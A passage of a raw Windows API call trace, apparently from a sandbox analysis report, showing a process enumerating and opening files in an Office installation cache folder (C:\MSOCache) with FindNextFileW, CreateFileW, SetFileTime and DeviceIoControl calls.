returned 1 [0259.696] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.696] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0259.696] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0259.696] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0259.696] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0259.696] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0 [0259.696] GetLastError () returned 0x12 [0259.696] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x943ae8) returned 1 [0259.696] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0259.696] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x943bf0) returned 1 [0259.696] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9439e0) returned 1 [0259.696] FindNextFileW (in: hFindFile=0x548fc0, lpFindFileData=0x118f4c4 | out: lpFindFileData=0x118f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0259.697] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x118f3c0 | out: lpFileInformation=0x118f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0260.024] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0260.024] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118f404, lpLastWriteTime=0x118f404) returned 0 [0260.024] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x949690, nOutBufferSize=0x4000, lpBytesReturned=0x118f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x949690, lpBytesReturned=0x118f45c, lpOverlapped=0x0) returned 0 [0260.024] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x949690) returned 1 [0260.024] NtClose (Handle=0x18c) returned 0x0 [0260.025] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945060) returned 1 [0260.025] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x549040 [0260.134] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.134] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0260.134] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0260.134] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0260.134] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0260.134] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0260.134] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0260.134] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0260.134] GetLastError () returned 0x12 [0260.134] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x118f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118f20c) returned 0x548f40 [0260.134] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0260.135] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.135] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0260.135] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en"), fInfoLevelId=0x0, lpFileInformation=0x118f108 | out: lpFileInformation=0x118f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0260.135] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0260.135] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118f14c, lpLastWriteTime=0x118f14c) returned 0 [0260.135] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x94b690, nOutBufferSize=0x4000, lpBytesReturned=0x118f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x94b690, lpBytesReturned=0x118f1a4, lpOverlapped=0x0) returned 0 [0260.136] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x94b690) returned 1 [0260.136] NtClose (Handle=0x18c) returned 0x0 [0260.136] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9497b0) returned 1 [0260.136] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", fInfoLevelId=0x1, lpFindFileData=0x118ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ef54) returned 0x549040 [0260.136] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.137] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0260.137] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0260.137] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0260.137] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0260.137] GetLastError () returned 0x12 [0260.137] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", fInfoLevelId=0x1, lpFindFileData=0x118ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ef54) returned 0x549080 [0260.137] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0260.137] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.137] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0260.137] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0260.137] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0260.137] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0260.137] GetLastError () returned 0x12 [0260.137] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9498b8) returned 1 [0260.137] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0260.138] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9499c0) returned 1 [0260.138] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9497b0) returned 1 [0260.138] FindNextFileW (in: hFindFile=0x548f40, lpFindFileData=0x118f20c | out: lpFindFileData=0x118f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0260.138] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es"), fInfoLevelId=0x0, lpFileInformation=0x118f108 | out: lpFileInformation=0x118f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0260.283] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0260.284] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x118f14c, lpLastWriteTime=0x118f14c) returned 0 [0260.284] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x94b690, nOutBufferSize=0x4000, lpBytesReturned=0x118f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x94b690, lpBytesReturned=0x118f1a4, lpOverlapped=0x0) returned 0 [0260.284] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x94b690) returned 1 [0260.284] NtClose (Handle=0x190) returned 0x0 [0260.284] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9497b0) returned 1 [0260.284] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", fInfoLevelId=0x1, lpFindFileData=0x118ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ef54) returned 0x549080 [0260.284] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0260.284] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0260.284] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0260.285] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0260.285] FindNextFileW (in: hFindFile=0x549080, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0260.285] GetLastError () returned 0x12 [0260.285] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", fInfoLevelId=0x1, lpFindFileData=0x118ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ef54) returned 0x549040 [0260.285] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0260.285] FindNextFileW (in: hFindFile=0x549040, lpFindFileData=0x118ef54 | out: lpFindFileData=0x118ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, 